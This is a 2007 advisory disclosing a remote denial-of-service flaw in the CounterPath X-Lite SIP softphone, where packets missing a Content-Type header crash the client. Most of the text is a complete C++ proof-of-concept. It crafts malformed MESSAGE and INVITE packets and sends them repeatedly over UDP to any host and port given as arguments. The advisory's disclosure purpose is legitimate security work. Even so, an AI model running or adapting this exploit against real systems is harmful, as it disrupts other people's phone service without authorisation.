Title ===== CounterPath X-Lite SIP phone Remote Denial of Service vulnerability Date ==== 10 August 2007 Affected Software ================= X-Lite versions 3.x (tested on 3.0 34025) Maybe eyeBeam also ;) Overview ======== X-Lite by CounterPath Solutions, Inc. is a free and wild used SIP based softphone. More information about X-Lite can be found here: www.counterpath.com A message validation check flaw in X-Lite SIP phone implementation may allow a remote attacker to crash the phone causing denial of service. Vulnerability Description ===================== The vulnerability occurs as a result of how the SIP client component handles an incorrectly sip packet. Method of INVITE or MESSAGE will be ok. MESSAGE is a sip method for Instant Messaging. After X-Lite receive a malformed packet without "Content-Type" field, we call "Missing Content-Type Vulnerability", it will be crash. Solution ======== Not really. Credit ====== This vulnerability was discovered by Zwell. http://www.nosec.org PoC === /**********main.cpp***********/ #include <stdio.h> #include <string> using namespace std; #ifdef WIN32 #include <winsock2.h> #pragma comment(lib, "ws2_32.lib") #define close closesocket #define write(a,b,c) send(a, b, c, 0) #define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e) #define read(a,b,c) recv(a, b, c, 0) #define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e) #else #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <netdb.h> #include <arpa/inet.h> #define closesocket close #define SOCKET int #define DWORD unsigned long #endif char *craft_pkt[] = { "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n" "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n" "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n" "To: <sip:[TOADDR]>\r\n" "Call-ID: [CALLID]@[DOMAIN]\r\n" "CSeq: [CSEQ] MESSAGE\r\n" "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n" "Content-Length: 0\r\n\r\n", "INVITE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n" "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n" "To: <sip:[TOADDR]>\r\n" "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n" "Call-ID: [CALLID]@[DOMAIN]\r\n" "CSeq: [CSEQ] INVITE\r\n" "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n" "Content-Length: 0\r\n\r\n", }; void socket_init() { #ifdef WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2,0), &wsaData); #endif } unsigned long resolv(const char *host) { struct hostent *hp; unsigned long host_ip; host_ip = inet_addr(host); if( host_ip == INADDR_NONE ) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n",host); exit(1); } else host_ip = *(u_long*)hp->h_addr ; } return(host_ip); } SOCKET udpsocket() { /* network */ SOCKET sockfd; struct sockaddr_in laddr, raddr; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) goto error; memset((char *) &laddr, 0, sizeof(laddr)); laddr.sin_family = AF_INET; laddr.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1) goto error; return sockfd; error: #ifdef WIN32 printf("Error:%d\n", GetLastError()); #endif return 0; } string &replace_all(string &str,const string& old_value,const string& new_value) { while(true) { string::size_type pos(0); if( (pos=str.find(old_value))!=string::npos) str.replace(pos,old_value.length(),new_value); else break; } return str; } string &replace_with_rand(string &str, char *value, int len) { char *strspace = "0123456789"; char randstr[100]; for(int i=0; i<len; i++) { do { randstr[i] = strspace[rand()%strlen(strspace)]; }while(randstr[i] == '0'); } randstr[len] = 0; replace_all(str, value, randstr); return str; } string build_packet(string _packet, char *addr, char *host) { string packet = _packet; replace_all(packet, "[FROMADDR]", addr); replace_all(packet, "[TOADDR]", host); replace_all(packet, "[DOMAIN]", "www.nosec.org"); replace_all(packet, "[FROMUSER]", "siprint"); replace_with_rand(packet, "[CSEQ]", 9); replace_with_rand(packet, "[CALLID]", 9); replace_with_rand(packet, "[TAG]", 9); replace_with_rand(packet, "[BRANCH]", 9); return packet; } int main(int argc, char **argv) { char *host; int port; char *localip; struct sockaddr_in sockaddr; struct sockaddr_in raddr; int sockaddrlen = sizeof(sockaddr); SOCKET s; printf("X-Lite Missing Content-Type DOS PoC\n"); if(argc != 4) { printf("usage : %s <host> <port> <localip>\n", argv[0]); exit(-1); } host = argv[1]; port = atoi(argv[2]); localip = argv[3]; socket_init(); s = udpsocket(); if(s == 0) { printf("Create udp socket error!\n", host, port); return 1; } memset(&sockaddr, 0, sockaddrlen); getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen); raddr.sin_family = AF_INET; raddr.sin_addr.S_un.S_addr = resolv(host); raddr.sin_port = htons(port); for(int i=0; i<20; i++) { char portstr[6] = {'\0'}; string packet = build_packet(craft_pkt[i%2], localip, host); sprintf(portstr, "%d", ntohs(sockaddr.sin_port)); replace_all(packet, "[LOCALPORT]", portstr); //printf("===========\n%s\n===========\n", packet.c_str()); writeto(s, packet.c_str(), packet.length(), (struct sockaddr*)&raddr, sockaddrlen); Sleep(100); } return 0; }